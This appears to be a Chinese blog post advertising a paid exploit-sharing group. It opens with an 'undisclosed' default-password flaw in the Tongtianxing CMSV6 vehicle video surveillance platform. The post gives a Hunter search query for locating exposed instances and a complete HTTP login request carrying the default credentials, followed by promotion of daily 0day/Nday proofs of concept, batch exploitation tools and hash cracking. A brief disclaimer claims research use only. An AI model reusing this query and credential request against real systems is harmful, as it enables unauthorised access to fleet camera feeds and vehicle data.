[未公开]通天星CMSV6车载视频监控平台默认口令漏洞

有需要EDU SRC邀请码的师傅可以私聊后台，免费赠送EDU SRC邀请码（邀请码管够）

资产测绘

hunter：web.body="./open/webApi.html"

漏洞复现

POST /druid/submitLogin HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0Accept: text/plain, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 42Connection: closeCookie: JSESSIONID=4F7D8A071EAC19E6196D1775D84D2F8DloginUsername=ttx&loginPassword=ttx123456.

圈子介绍

【圈子介绍】

高质量漏洞利用工具分享社区，每天至少更新一个0Day/Nday/1day及对应漏洞的批量利用工具，团队内部POC分享，星球不定时更新内外网攻防渗透技巧以及最新学习研究成果等。如果师傅还是新手，内部的交流群有很多行业老师傅可以为你解答学习上的疑惑，内部分享的POC可以助你在Edu和补天等平台获得一定的排名。如果师傅已经是老手了，有一个高质量的LD库也能为你的工作提高极大的效率，有需要的Day我们也可以通过自己的途径帮你去寻找。

【圈子服务】

1，一年至少365+漏洞Poc及对应漏洞批量利用工具

2，24HVV内推途径（直面厂商）

3，Cmd5解密，各种漏洞利用工具及后续更新，渗透工具、文档资源分享

4，内部漏洞库情报分享（目前已有980+poc，会定期更新，包括部分未公开0/1day）

5，加入内部微信群，认识更多的行业朋友（群里有100+C**D通用证书师傅），遇到任何技术问题都可以进行快速提问、讨论交流；

圈子目前价格为99元(交个朋友啦！)，现在星球有近430+位师傅相信选择加入我们圈子，人数满500涨价至129，圈子每天都会更新内容。

圈子收集近期LD库

一起愉快的刷分

免责声明

文章所涉及内容，仅供安全研究与教学之用，由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。